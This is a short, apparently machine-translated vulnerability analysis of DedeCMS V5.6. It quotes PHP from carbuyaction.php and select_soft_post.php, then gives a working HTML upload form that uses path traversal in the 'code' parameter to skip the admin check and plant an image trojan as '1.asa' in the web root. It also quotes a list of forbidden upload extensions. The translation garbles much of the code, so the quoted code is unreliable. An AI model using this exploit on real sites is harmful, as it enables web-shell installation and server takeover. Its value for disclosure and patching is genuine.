DedeCmsV5.6 local inclusion Upload Vulnerability Analysis

Vulnerability file: plus/carbuyaction. php

<? Php

Require_once (dirname (_ FILE _). "/../include/common. inc. php ");

Define (_ PLUS_TPL _, DEDEROOT./templets/plus );

Require_once DEDEINC./dedetemplate. class. php;

Require_once DEDEINC./shopcar. class. php;

Require_once DEDEINC./memberlogin. class. php;



If ($ pai_mb_open = N)

{

ShowMsg ("the membership function is disabled, so you cannot access this page! "," Javascript :;");

Exit ();

}



$ Pai_ml = new MemberLogin ();



If (! Isset ($ dopost) | empty ($ dopost) {// As long as $ dopost is not empty, By: I am from rural areas.

...

} Elseif ($ dopost = return ){

Require_once DEDEINC./payment/. $ code.. php; // The variable $ code is not initialized. By: I am from rural areas.

$ Pay = new $ code;

$ Msg = $ pay-> respond ();

ShowMsg ($ msg, "javascript:;", 0,3000 );

Exit ();

}

?>
 
<Form action = "http: // localhost: 8090/plus/carbuyaction. php? Dopost = return & action = xxx & code = .. /.. /include/dialog/select_soft_post "method =" post "enctype =" multipart/form-data "name =" QuickSearch "id =" QuickSearch ">
<Input type = "hidden" name = "newname" value = "1.asa">
<Input type = "file" name = "previusfile">
<Input type = "submit" value = "Search" name = "QuickSearchBtn">
</Form>

Upload an image Trojan (only rename the image type after modification) to generate a 1.asa file in the root directory of the website.

Simple Analysis: file: select_soft_post.php
<? Php
If (! Isset ($ pai_basedir ))
{
Include_once (dirname (_ FILE _)./config. php );
}
// Config. php is used to verify whether it is an administrator. Because of local inclusion, the value of $ pai_basedir has been set and verification should be skipped.


// File name (manually specified before, automatically processed by the latter)
If (! Empty ($ newname ))
{
$ Filename = $ newname;
If (! Ereg (".", $ filename) $ fs = explode (., $ PreviousFile_name );
Else $ fs = explode (., $ filename );
If (eregi ($ resource_not_allowall, $ fs [count ($ fs)-1])
{
ShowMsg ("the file name you specified is forbidden by the system! ", Javascript :;);
Exit ();
}
If (! Ereg (".", $ filename) $ filename = $ filename... $ fs [count ($ fs)-1];
} Else {
$ Filename = $ cuserLogin-> getUserID ().-. dd2char (MyDate (ymdHis, $ nowtme ));
$ Fs = explode (., $ previusfile_name );
If (eregi ($ resource_not_allowall, $ fs [count ($ fs)-1])
{
ShowMsg ("You have uploaded some files that may be insecure, and the system rejects the operation! ", Javascript :;);
Exit ();
}
$ Filename = $ filename... $ fs [count ($ fs)-1];
}


The problem lies in $ newname. the upload type is not verified, but the non-resumable upload type is verified.

// Some file types specified here are forcibly prohibited from uploading
$ Pai_not_allowall = "php | pl | cgi | asp | aspx | jsp | php3 | shtm | shtml ";


That is to say, you can upload non-files of the above type, and sometimes it is not a problem ..